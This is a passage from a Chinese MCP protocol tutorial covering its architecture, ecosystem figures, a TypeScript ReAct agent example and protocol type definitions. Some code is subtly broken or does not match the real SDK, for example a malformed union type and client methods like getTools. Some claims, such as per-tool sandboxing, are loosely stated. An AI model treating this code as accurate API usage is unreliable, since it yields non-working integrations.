title: MCP协议深度解析2026实战版 type: 原理 难度: ⭐⭐⭐ 时长: 60分钟 前置: ["Agent基础", "LLM API调用", "TypeScript/JavaScript基础"] 实践: 代码实战为主 标签:
- MCP
- Model Context Protocol
- Agent
- 协议
- 工具调用
- 2026实战
- AI基础设施 创建日期: 2026-04-19 更新日期: 2026-04-19 文档版本: v1.1
MCP协议深度解析2026实战版
一、协议概述
1.1 什么是MCP协议
MCP(Model Context Protocol,模型上下文协议)是由Anthropic于2024年11月正式发布的开放标准协议,旨在解决AI应用与外部数据源、工具之间的标准通信问题。MCP的出现标志着AI Agent生态系统基础设施标准化的重要里程碑,被业界称为"AI时代的USB协议"。
重要安全警告(2026年4月):据安全机构OX Security于2026年4月15日披露,MCP协议存在严重设计缺陷,可能导致远程代码执行(RCE)。受影响范围包括所有基于MCP SDK构建的项目(Python、TypeScript、Java、Rust)。详情请参见本文档第八章"安全考虑与漏洞防范"。
重大更新(2026年3月):Anthropic推出了全新的Streamable HTTP传输方案,效率提升300%,彻底取代了沿用多年的HTTP+SSE架构。
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP:AI时代的连接标准 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 传统软件时代 AI时代 │
│ │
│ USB协议 ──────────统一─────▶ 外设即插即用 │
│ │
│ MCP协议 ──────────统一─────▶ AI工具即插即用 │
│ │ │
│ ▼ │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ 数据库 │ │ 文件系统 │ │ API │ │ 云服务 │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ └──────────────┬──────────────┬──────────────┘ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ MCP Server生态 │ │
│ └────────┬────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ 任意AI应用 │ │
│ │ Claude / GPT / │ │
│ │ 开源模型 │ │
│ └─────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
1.2 MCP的核心设计理念
MCP的设计借鉴了现代软件工程的最佳实践,核心思想是关注点分离和接口标准化:
| 设计理念 | 说明 | 优势 |
|---|---|---|
| 一次编写,多处运行 | 工具只需实现一次MCP接口 | 降低开发成本,提升复用性 |
| 声明式工具定义 | 通过JSON Schema自动描述工具能力 | AI模型可自动发现和理解工具 |
| 安全沙箱隔离 | 每个工具在独立环境中运行 | 权限边界清晰,安全性高 |
| 上下文完全隔离 | 工具之间的资源和状态完全独立 | 避免数据污染和状态耦合 |
| 双向实时通信 | 支持资源订阅和服务器推送 | 实时响应,无需轮询 |
1.3 MCP vs 其他方案对比
| 维度 | MCP | Function Calling | REST API封装 | WebDriver/协议 |
|---|---|---|---|---|
| 标准化程度 | 开放标准,厂商中立 | 各厂商私有实现 | 无标准,各自定义 | W3C标准 |
| 工具发现机制 | 自动发现,无需配置 | 手动注册函数 | 手动调用 | 需探索API |
| 连接模式 | 长期连接,双向通信 | 每次请求独立 | 无状态请求 | 长期会话 |
| 状态管理 | 支持有状态交互 | 无状态调用 | 无状态 | 有状态 |
| 资源订阅 | 支持实时推送 | 不支持 | 需轮询 | 支持事件 |
| 权限控制粒度 | 细粒度隔离 | 粗粒度 | 无标准 | 浏览器沙箱 |
| 生态成熟度 | 快速发展中 | 成熟稳定 | 成熟多样 | 成熟 |
1.4 2026年MCP生态现状
截至2026年4月,MCP生态已形成完整体系。根据MCP生态目录(mcpez.com)最新数据:
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 生态系统全景图(2026年4月) │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ MCP服务器总数:11,790+ │
│ GitHub Stars:61,200+ │
│ SDK语言:13种 │
│ 社区规模:8,700+ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
主要生态数据:
| 类别 | 数据 | 说明 |
|---|---|---|
| MCP服务器总数 | 11,790+ | 涵盖数据库、Git、云服务等 |
| GitHub Stars | 61,200+ | 社区活跃度高 |
| SDK语言 | 13种 | TypeScript、Python、Java、Rust等 |
| 官方服务器 | 50+ | Anthropic官方维护 |
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 生态系统全景图 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ MCP 生态核心层 │ │
│ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │
│ │ │ 协议规范 │ │ SDK/框架 │ │ 开发工具 │ │ │
│ │ │ modelcontext │ │ TypeScript │ │ MCP Inspector│ │ │
│ │ │ protocol │ │ Python │ │ MCP DevTools │ │ │
│ │ │ (官方规范) │ │ Go/Rust/Java │ │ │ │ │
│ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ MCP Server 生态 │ │
│ │ │ │
│ │ 官方Server 社区Server 企业级Server │ │
│ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │
│ │ │Filesystem│ │Jina Search│ │Salesforce│ │ │
│ │ │GitHub │ │Fetch URL │ │PostgreSQL│ │ │
│ │ │Slack │ │SQLite │ │Elastic │ │ │
│ │ │Sentry │ │Redis │ │Confluence│ │ │
│ │ └─────────┘ └─────────┘ └─────────┘ │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ MCP Host 应用层 │ │
│ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │
│ │ │ Claude │ │Cursor AI│ │ Continue│ │ Cline │ │ │
│ │ │ Desktop │ │ │ │ (VSCode)│ │ (VSCode)│ │ │
│ │ └─────────┘ └─────────┘ └─────────┘ └─────────┘ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
关键数据(2026年4月):
- MCP服务器总数:11,790+
- GitHub Stars:61,200+
- SDK语言:13种
- NPM下载量突破:5000万次/月
- 官方认证MCP Server:200+
- 支持MCP的主机应用:50+款
1.5 MCP与Skills/Agent/LLM四层架构
2026年,随着AI Agent技术的快速发展,MCP已经深度融入了以LLM为核心的AI应用分层架构之中。理解MCP在四层架构中的位置,对于掌握AI应用开发至关重要。
四层架构全览
┌─────────────────────────────────────────────────────────────────────────┐
│ AI应用四层架构(2026年) │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第一层:LLM(推理核心) │ │
│ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │
│ │ │ Claude 3.7 │ │ GPT-4.5 │ │ Gemini 2.0 │ │ │
│ │ │ Sonnet │ │ │ │ Ultra │ │ │
│ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 理解自然语言意图 │ │
│ │ - 生成文本响应 │ │
│ │ - 推理与规划 │ │
│ │ - Tool Calling(函数调用) │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第二层:Agent(感知-决策-执行循环) │ │
│ │ │ │
│ │ ┌─────────────────────────────────────────────────────────────┐ │ │
│ │ │ │ │ │
│ │ │ 感知 ──▶ 决策 ──▶ 执行 ──▶ 反馈 ──▶ 感知(循环) │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ ▼ ▼ ▼ ▼ │ │ │
│ │ │ 用户输入 LLM推理 Tool调用 结果评估 │ │ │
│ │ │ │ │ │
│ │ └─────────────────────────────────────────────────────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 维护执行状态和上下文 │ │
│ │ - 多步骤任务规划 │ │
│ │ - 处理Tool Calling响应 │ │
│ │ - 错误恢复与重试 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第三层:MCP(连接标准) │ │
│ │ │ │
│ │ ┌───────────────────┐ ┌───────────────────┐ │ │
│ │ │ MCP Host │◀──▶│ MCP Server │ │ │
│ │ │ (Agent端) │ │ (工具端) │ │ │
│ │ │ │ │ │ │ │
│ │ │ Client实例 │ │ 工具实现 │ │ │
│ │ │ 请求路由 │ │ 资源管理 │ │ │
│ │ │ 响应处理 │ │ 安全验证 │ │ │
│ │ └───────────────────┘ └───────────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 提供标准化的工具调用接口 │ │
│ │ - 解耦Agent与具体工具实现 │ │
│ │ - 支持工具发现和动态扩展 │ │
│ │ - 提供统一的资源访问能力 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第四层:Skills(能力封装) │ │
│ │ │ │
│ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ Filesystem │ │ GitHub │ │ Database │ │ │
│ │ │ Skill │ │ Skill │ │ Skill │ │ │
│ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │
│ │ │ │
│ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ Slack │ │ Search │ │ Custom │ │ │
│ │ │ Skill │ │ Skill │ │ Skill │ │ │
│ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 封装特定能力的可安装模块 │ │
│ │ - 一键安装,即插即用 │ │
│ │ - 版本管理和依赖解析 │ │
│ │ - 跨平台能力复用 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
四层之间的数据流动
┌─────────────────────────────────────────────────────────────────────────┐
│ 四层架构数据流动图 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 用户提问:"帮我搜索GitHub上关于MCP的项目" │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第一层:LLM 接收用户输入,理解意图 │ │
│ │ │ │
│ │ 推理结果:需要调用GitHub搜索工具 │ │
│ │ 生成Tool Call请求:search_code { q: "MCP" } │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ │ Tool Call Request │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第二层:Agent 执行推理循环 │ │
│ │ │ │
│ │ - 解析Tool Call请求 │ │
│ │ - 通过MCP协议调用工具 │ │
│ │ - 收集执行结果 │ │
│ │ - 判断是否需要继续调用 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ │ MCP Protocol Request │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第三层:MCP 协议层路由请求 │ │
│ │ │ │
│ │ - 查找对应的MCP Server(github) │ │
│ │ - 通过stdio/HTTP转发请求 │ │
│ │ - 等待Server响应 │ │
│ │ - 返回格式化结果 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ │ Tool Execution │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 第四层:Skills 执行具体工具逻辑 │ │
│ │ │ │
│ │ GitHub Skill: │ │
│ │ - 调用GitHub API │ │
│ │ - 搜索MCP相关仓库 │ │
│ │ - 返回搜索结果 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ │ Results │
│ ▼ │
│ 返回给用户:MCP相关项目列表 │
│ │
└─────────────────────────────────────────────────────────────────────────┘
层次职责对比
| 层次 | 核心组件 | 输入 | 输出 | 关键技术 |
|---|---|---|---|---|
| LLM | Claude/GPT/Gemini | 文本/用户意图 | 文本响应/Tool Calls | Transformer/Attention |
| Agent | ReAct/PlanExecute | Tool Call请求 | 执行状态/结果 | 状态机/Planning |
| MCP | Client/Server | Tool Call请求 | JSON-RPC响应 | JSON-RPC 2.0/传输层 |
| Skills | GitHub/FS/DB | API调用/参数 | 数据/操作结果 | REST/API/SDK |
Agent与MCP的协同工作模式
/**
* Agent与MCP协同工作完整示例
*
* 这个示例展示了如何将MCP集成到一个ReAct Agent中
*/
import { Client } from '@modelcontextprotocol/sdk/client';
import { StdioClientTransport } from '@modelcontextprotocol/sdk/client/stdio';
/**
* 简化版ReAct Agent
* 展示四层架构的协同工作
*/
class SimpleReActAgent {
private llm: LLMClient;
private mcpClients: Map<string, Client> = new Map();
private maxIterations: number = 10;
private currentStep: number = 0;
constructor(llm: LLMClient) {
this.llm = llm;
}
/**
* 注册MCP Server
*/
async registerMCPServer(name: string, command: string, args: string[]) {
const transport = new StdioClientTransport({ command, args });
const client = new Client({ name, version: '1.0.0' }, {});
await client.connect(transport);
this.mcpClients.set(name, client);
console.log(`已注册MCP Server: ${name}`);
}
/**
* 执行ReAct循环
* 感知 -> 决策 -> 执行 -> 反馈
*/
async run(userQuery: string): Promise<string> {
let context = userQuery;
let finalResponse = '';
// ReAct主循环
while (this.currentStep < this.maxIterations) {
this.currentStep++;
console.log(`\n--- 第 ${this.currentStep} 步 ---`);
// ========== 第一层:LLM推理 ==========
const llmResponse = await this.llm.complete({
messages: [{ role: 'user', content: context }],
tools: this.getAvailableTools(),
});
// 解析LLM响应
if (!llmResponse.toolCalls || llmResponse.toolCalls.length === 0) {
// 无Tool Call,直接返回响应
finalResponse = llmResponse.text;
break;
}
// ========== 第二层:Agent决策 ==========
const toolCall = llmResponse.toolCalls[0];
console.log(`决策:调用工具 ${toolCall.name}`);
// ========== 第三层:MCP协议层 ==========
const serverName = this.findServerForTool(toolCall.name);
if (!serverName) {
throw new Error(`找不到工具 ${toolCall.name} 对应的MCP Server`);
}
const client = this.mcpClients.get(serverName);
// ========== 第四层:Skills执行 ==========
console.log(`执行:${serverName} -> ${toolCall.name}`);
const result = await client.request(
{ method: 'tools/call' },
{
name: toolCall.name,
arguments: toolCall.arguments,
}
);
// 构建反馈上下文
context = `上一步结果:${JSON.stringify(result)}\n请基于结果继续回答或执行下一步。`;
console.log(`结果:${result.content[0].text.substring(0, 100)}...`);
}
return finalResponse;
}
/**
* 获取所有可用工具
*/
private getAvailableTools() {
const tools: Tool[] = [];
for (const [serverName, client] of this.mcpClients) {
// 从MCP Server获取工具列表
const serverTools = client.getTools();
tools.push(...serverTools);
}
return tools;
}
/**
* 查找工具对应的Server
*/
private findServerForTool(toolName: string): string | undefined {
for (const [serverName, client] of this.mcpClients) {
if (client.hasTool(toolName)) {
return serverName;
}
}
return undefined;
}
}
/**
* 使用示例
*/
async function main() {
// 1. 创建Agent实例(第一层:LLM)
const agent = new SimpleReActAgent(new ClaudeClient());
// 2. 注册MCP Servers(第三层:MCP)
await agent.registerMCPServer(
'filesystem',
'npx',
['-y', '@modelcontextprotocol/server-filesystem', './']
);
await agent.registerMCPServer(
'github',
'npx',
['-y', '@modelcontextprotocol/server-github']
);
// 3. 执行查询
const result = await agent.run('请读取项目根目录的README.md文件');
console.log('最终响应:', result);
}
1.6 MCP核心架构三元体系
MCP的核心架构可以从三个维度来理解,我们称之为"三元体系":模型层、协议层和扩展层。这三个层次相互协作,共同支撑起MCP强大的扩展能力。
三元体系全景
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP核心架构三元体系 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 模型层(Model) │ │
│ │ 数据处理逻辑的大脑 │ │
│ ├─────────────────────────────────────────────────────────────────┤ │
│ │ │ │
│ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │
│ │ │ 工具模型 │ │ 资源模型 │ │ 提示模型 │ │ │
│ │ │ Tool Model │ │ Resource Model │ │ Prompt Model │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ • name │ │ • uri │ │ • name │ │ │
│ │ │ • description │ │ • name │ │ • description │ │ │
│ │ │ • inputSchema│ │ • mimeType │ │ • arguments │ │ │
│ │ │ • examples │ │ • subscribable │ │ • messages │ │ │
│ │ └─────────────────┘ └─────────────────┘ └─────────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 定义工具/资源/提示的元数据结构 │ │
│ │ - 提供数据验证和类型安全 │ │
│ │ - 支持JSON Schema规范 │ │
│ │ - 生成AI可理解的描述文本 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 协议层(Protocol) │ │
│ │ MCP连接外部系统的桥梁 │ │
│ ├─────────────────────────────────────────────────────────────────┤ │
│ │ │ │
│ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │
│ │ │ JSON-RPC 2.0 │ │ 传输层 │ │ 能力协商 │ │ │
│ │ │ │ │ Transport │ │ Capability │ │ │
│ │ │ • 请求/响应 │ │ • stdio │ │ negotiation │ │ │
│ │ │ • 通知 │ │ • HTTP/SSE │ │ • roots │ │ │
│ │ │ • 批处理 │ │ • WebSocket │ │ • sampling │ │ │
│ │ └─────────────────┘ └─────────────────┘ └─────────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 定义消息格式和通信规范 │ │
│ │ - 管理连接生命周期 │ │
│ │ - 协商Client/Server能力 │ │
│ │ - 处理错误和异常 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 扩展层(Extensions) │ │
│ │ Skills、Hooks等扩展能力 │ │
│ ├─────────────────────────────────────────────────────────────────┤ │
│ │ │ │
│ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │
│ │ │ Skills │ │ Hooks │ │ Middleware │ │ │
│ │ │ (能力模块) │ │ (生命周期钩子) │ │ (中间件) │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ • 文件系统 │ │ • onToolCall │ │ • 认证 │ │ │
│ │ │ • GitHub │ │ • onResource │ │ • 日志 │ │ │
│ │ │ • 数据库 │ │ • onPrompt │ │ • 限流 │ │ │
│ │ │ • 云服务 │ │ • onError │ │ • 缓存 │ │ │
│ │ └─────────────────┘ └─────────────────┘ └─────────────────┘ │ │
│ │ │ │
│ │ 职责: │ │
│ │ - 提供开箱即用的能力模块 │ │
│ │ │ - 扩展系统功能 │ │
│ │ │ - 支持自定义扩展 │ │
│ │ │ - 提供生命周期钩子 │ │
│ │ └─────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
模型层详解
模型层定义了MCP中所有核心实体的数据结构,是整个协议的基础。
/**
* MCP 模型层核心类型定义
*/
/**
* 工具模型(Tool Model)
* 定义了MCP工具的结构化描述
*/
interface ToolModel {
/** 工具唯一标识符 */
name: string;
/** 人类可读的描述文本
* AI模型会使用此描述来理解工具的用途和使用场景
* 建议描述:
* - 工具的功能概述
* - 输入参数的具体含义
* - 返回结果的格式和含义
* - 使用注意事项
*/
description: string;
/** 输入参数JSON Schema
* 使用JSON Schema规范定义参数类型
* AI会自动解析schema来理解参数约束
*/
inputSchema: ToolInputSchema;
/** 元数据(可选)
* 提供额外的工具信息
*/
metadata?: {
/** 工具分类 */
category?: string;
/** 标签列表 */
tags?: string[];
/** 示例输入输出对 */
examples?: Array<{
description: string;
input: Record<string, unknown>;
output: unknown;
}>;
/** 废弃标记 */
deprecated?: boolean;
/** 替代工具名称 */
replacement?: string;
/** 稳定性标记 */
stability?: 'stable' | 'beta' | 'experimental';
};
}
/**
* 工具输入模式
* JSON Schema的一个子集
*/
interface ToolInputSchema {
type: 'object';
/** 属性定义 */
properties: Record<string, PropertySchema>;
/** 必需属性列表 */
required?: string[];
/** 是否允许额外属性 */
additionalProperties?: boolean;
}
/**
* 属性模式定义
*/
interface PropertySchema {
/** 属性类型 */
type: 'string' | 'number' | 'boolean' | 'object' | 'array' | 'null';
/** 属性描述 */
description?: string;
/** 默认值 */
default?: unknown;
/** 枚举值列表 */
enum?: unknown[];
/** 格式校验 */
format?: string;
/** 最小值(number类型) */
minimum?: number;
/** 最大值(number类型) */
maximum?: number;
/** 最小长度(string类型) */
minLength?: number;
/** 最大长度(string类型) */
maxLength?: number;
/** 正则表达式(string类型) */
pattern?: string;
/** 数组项类型(array类型) */
items?: PropertySchema;
}
/**
* 资源模型(Resource Model)
* 定义了MCP资源的结构化描述
*/
interface ResourceModel {
/** 资源URI
* 唯一标识符,格式遵循RFC 3986
* 示例:file:///path/to/file 或 db://table/users
*/
uri: string;
/** 资源名称 */
name: string;
/** 资源描述 */
description?: string;
/** MIME类型 */
mimeType: string;
/** 可变资源标记
* 如果为true,客户端应定期检查更新
*/
mutable?: boolean;
/** 可订阅资源标记
* 如果为true,支持资源变更通知
*/
subscribable?: boolean;
}
/**
* 提示模板模型(Prompt Model)
* 定义了MCP提示模板的结构
*/
interface PromptModel {
/** 模板唯一标识符 */
name: string;
/** 模板描述 */
description: string;
/** 模板参数定义 */
arguments?: Array<{
/** 参数名称 */
name: string;
/** 参数描述 */
description?: string;
/** 是否必需 */
required: boolean;
/** 参数类型 */
type?: string;
}>;
}
/**
* 采样请求模型(Sampling Model)
* 用于Server主动请求LLM生成内容
*/
interface SamplingRequestModel {
/** 发送给LLM的消息列表 */
messages: Array<{
role: 'user' | 'assistant';
content: Array<{
type: 'text' | 'image';
text?: string;
data?: string; // Base64编码
mimeType?: string;
}>;
}>;
/** 系统提示(可选) */
systemPrompt?: string;
/** 采样参数 */
samplingParams?: {
/** 模型选择 */
model?: string;
/** 温度参数 */
temperature?: number;
/** 最大token数 */
maxTokens?: number;
/** 停止序列 */
stopSequences?: string[];
};
}
协议层详解
协议层是MCP的通信核心,基于JSON-RPC 2.0标准,支持多种传输方式。
/**
* MCP 协议层核心类型定义
*/
/**
* JSON-RPC 2.0 消息基类
*/
type JSONRPCMessage =
| JSONRPCRequest |
| JSONRPCResponse |
| JSONRPCNotification;
/**
* JSON-RPC 2.0 请求消息
*/
interface JSONRPCRequest {
/** JSON-RPC版本号 */
jsonrpc: '2.0';
/** 请求ID,用于匹配响应 */
id: string | number;
/** 方法名 */
method: string;
/** 请求参数 */
params?: Record<string, unknown>;
}
/**
* JSON-RPC 2.0 响应消息
*/
interface JSONRPCResponse {
/** JSON-RPC版本号 */
jsonrpc: '2.0';
/** 请求ID */
id: string | number;
/** 响应结果(成功时) */
result?: unknown;
/** 错误信息(失败时) */
error?: JSONRPCError;
}
/**
* JSON-RPC 2.0 通知消息(无响应)
*/
interface JSONRPCNotification {
/** JSON-RPC版本号 */
jsonrpc: '2.0';
/** 方法名 */
method: string;
/** 参数 */
params?: Record<string, unknown>;
}
/**
* JSON-RPC 2.0 错误对象
*/
interface JSONRPCError {
/** 错误码 */
code: number;
/** 错误消息 */
message: string;
/** 错误详情(可选) */
data?: unknown;
}
/**
* MCP 核心方法定义
*/
namespace MCPMethods {
// ========== 初始化相关 ==========
/** 初始化连接(请求) */
const initialize = 'initialize';
/** 初始化完成(通知) */
const initialized = 'initialized';
// ========== 工具相关 ==========
/** 列出所有工具 */
const toolsList = 'tools/list';
/** 调用工具 */
const toolsCall = 'tools/call';
// ========== 资源相关 ==========
/** 列出所有资源 */
const resourcesList = 'resources/list';
/** 读取资源 */
const resourcesRead = 'resources/read';
/** 订阅资源变更 */
const resourcesSubscribe = 'resources/subscribe';
/** 取消订阅 */
const resourcesUnsubscribe = 'resources/unsubscribe';
// ========== 提示模板相关 ==========
/** 列出所有提示模板 */
const promptsList = 'prompts/list';
/** 获取提示模板 */
const promptsGet = 'prompts/get';
// ========== 采样相关 ==========
/** 创建采样消息 */
const samplingCreateMessage = 'sampling/createMessage';
// ========== 根目录相关 ==========
/** 列出根目录 */
const rootsList = 'roots/list';
// ========== 通用 ==========
/** 心跳检测 */
const ping = 'ping';
}
/**
* 能力协商(Capability Negotiation)
* 初始化阶段,Client和Server交换各自的能力
*/
interface ClientCapabilities {
/** 根目录相关能力 */
roots?: {
/** 根目录列表变更时通知 */
listChanged: boolean;
};
/** 采样相关能力 */
sampling?: Record<string, never>;
}
interface ServerCapabilities {
/** 工具相关能力 */
tools?: {
/** 工具列表变更时通知 */
listChanged: boolean;
};
/** 资源相关能力 */
resources?: {
/** 资源列表变更时通知 */
listChanged: boolean;
/** 资源订阅支持 */
subscribe: boolean;
};
/** 提示模板相关能力 */
prompts?: {
/** 提示列表变更时通知 */
listChanged: boolean;
};
/** 采样相关能力 */
sampling?: Record<string, never>;
}
/**
* 初始化请求参数
*/
interface InitializeParams {
/** 协议版本 */
protocolVersion: string;
/** 客户端能力 */
capabilities: ClientCapabilities;
/** 客户端信息 */
clientInfo: {
name: string;
version: string;
};
}
/**
* 初始化响应结果
*/
interface InitializeResult {
/** 服务器支持的协议版本 */
protocolVersion: string;
/** 服务器能力 */
capabilities: ServerCapabilities;
/** 服务器信息 */
serverInfo: {
name: string;
version: string;
};
/** 指令(可选) */
instructions?: string;
}
扩展层详解
扩展层是MCP生态系统的最外层,提供Skills(能力模块)、Hooks(生命周期钩子)和Middleware(中间件)等扩展机制。
/**
* MCP 扩展层核心类型定义
*/
/**
* Skill 定义
* 一个Skill是一个可独立安装的能力包
*/
interface Skill {
/** Skill唯一标识符 */
id: string;
/** Skill名称 */
name: string;
/** 版本号(语义化版本) */
version: string;
/** Skill描述 */
description: string;
/** 作者信息 */
author?: {
name: string;
email?: string;
url?: string;
};
/** 依赖的MCP Servers */
dependencies: string[];
/** Skill提供的工具 */
tools: ToolModel[];
/** Skill提供的资源 */
resources?: ResourceModel[];
/** Skill提供的提示模板 */
prompts?: PromptModel[];
/** 安装配置 */
installConfig?: {
/** 必需的环境变量 */
requiredEnvVars: string[];
/** 可选的环境变量 */
optionalEnvVars?: string[];
/** 安装钩子脚本 */
installScript?: string;
/** 验证脚本 */
verifyScript?: string;
};
/** 元数据 */
metadata?: {
/** 许可证 */
license?: string;
/** 仓库地址 */
repository?: string;
/** 标签 */
tags: string[];
/** 评分 */
rating?: number;
/** 下载量 */
downloads?: number;
};
}
/**
* Hook 定义
* 生命周期钩子,允许在关键节点插入自定义逻辑
*/
interface Hook {
/** 钩子名称 */
name: string;
/** 钩子描述 */
description: string;
/** 触发时机 */
trigger: HookTrigger;
/** 钩子处理器 */
handler: HookHandler;
}
/**
* 钩子触发时机
*/
type HookTrigger =
/** 工具调用前 */
| 'onToolCall'
/** 工具调用后 */
| 'onToolCallResult'
/** 资源读取前 */
| 'onResourceRead'
/** 资源订阅时 */
| 'onResourceSubscribe'
/** 提示获取前 */
| 'onPrompt'
/** 采样请求前 */
| 'onSampling'
/** 错误发生时 */
| 'onError'
/** 连接建立时 */
| 'onConnect'
/** 连接断开时 */
| 'onDisconnect';
/**
* 钩子处理器类型
*/
type HookHandler = (
context: HookContext,
...args: unknown[]
) => Promise<HookResult> | HookResult;
/**
* 钩子上下文
*/
interface HookContext {
/** 请求ID */
requestId: string;
/** 触发时间戳 */
timestamp: number;
/** 相关的MCP Server */
serverName?: string;
/** 相关的工具名称 */
toolName?: string;
/** 相关的资源URI */
resourceUri?: string;
/** 附加数据 */
metadata?: Record<string, unknown>;
}
/**
* 钩子执行结果
*/
interface HookResult {
/** 是否继续执行 */
proceed: boolean;
/** 如果proceed为false,返回的错误信息 */
error?: {
code: string;
message: string;
details?: unknown;
};
/** 修改后的返回值(可选) */
modifiedResult?: unknown;
}
/**
* Middleware 中间件定义
* 可以在请求/响应链中拦截和处理数据
*/
interface Middleware {
/** 中间件名称 */
name: string;
/** 中间件描述 */
description: string;
/** 执行顺序(数字越小越先执行) */
order: number;
/** 请求拦截器 */
onRequest?: (
request: JSONRPCRequest,
context: MiddlewareContext
) => Promise<JSONRPCRequest>;
/** 响应拦截器 */
onResponse?: (
response: JSONRPCResponse,
context: MiddlewareContext
) => Promise<JSONRPCResponse>;
/** 错误拦截器 */
onError?: (
error: JSONRPCError,
context: MiddlewareContext
) => Promise<JSONRPCError>;
}
/**
* 中间件上下文
*/
interface MiddlewareContext {
/** 客户端实例 */
client: Client;
/** 目标服务器名称 */
serverName: string;
/** 请求开始时间 */
startTime: number;
/** 请求计数器 */
requestCount: number;
/** 认证信息 */
auth?: AuthInfo;
}
/**
* 常用内置中间件
*/
const BuiltinMiddleware = {
/**
* 认证中间件
* 验证请求中的认证令牌
*/
auth: (validator: AuthValidator): Middleware => ({
name: 'auth',
description: '请求认证中间件',
order: 1,
onRequest: async (request, context) => {
const token = context.auth?.token;
if (!token) {
throw new Error('未提供认证令牌');
}
const isValid = await validator(token);
if (!isValid) {
throw new Error('认证令牌无效');
}
return request;
},
}),
/**
* 日志中间件
* 记录所有请求和响应
*/
logger: (logger: Logger): Middleware => ({
name: 'logger',
description: '日志记录中间件',
order: 999,
onRequest: async (request, context) => {
logger.logRequest(request, context);
return request;
},
onResponse: async (response, context) => {
logger.logResponse(response, context);
return response;
},
}),
/**
* 限流中间件
* 控制请求频率
*/
rateLimit: (config: RateLimitConfig): Middleware => ({
name: 'rateLimit',
description: '请求限流中间件',
order: 2,
onRequest: async (_, context) => {
const key = context.auth?.token || 'anonymous';
const count = await config.store.increment(key);
if (count > config.maxRequests) {
throw new Error(`请求过于频繁,请稍后再试`);
}
return _;
},
}),
/**
* 缓存中间件
* 缓存响应结果
*/
cache: (config: CacheConfig): Middleware => ({
name: 'cache',
description: '响应缓存中间件',
order: 998,
onRequest: async (request, context) => {
if (config.cacheableMethods.includes(request.method)) {
const cached = await config.store.get(buildCacheKey(request));
if (cached) {
return { ...request, _cached: cached };
}
}
return request;
},
onResponse: async (response, context) => {
if (response.result && config.isCacheable(response.result)) {
await config.store.set(buildCacheKey(context.request!), response.result);
}
return response;
},
}),
};
/**
* Skill包定义文件
*/
interface PackageManifest {
format: 'mcp-skill';
versions: {
[version: string]: {
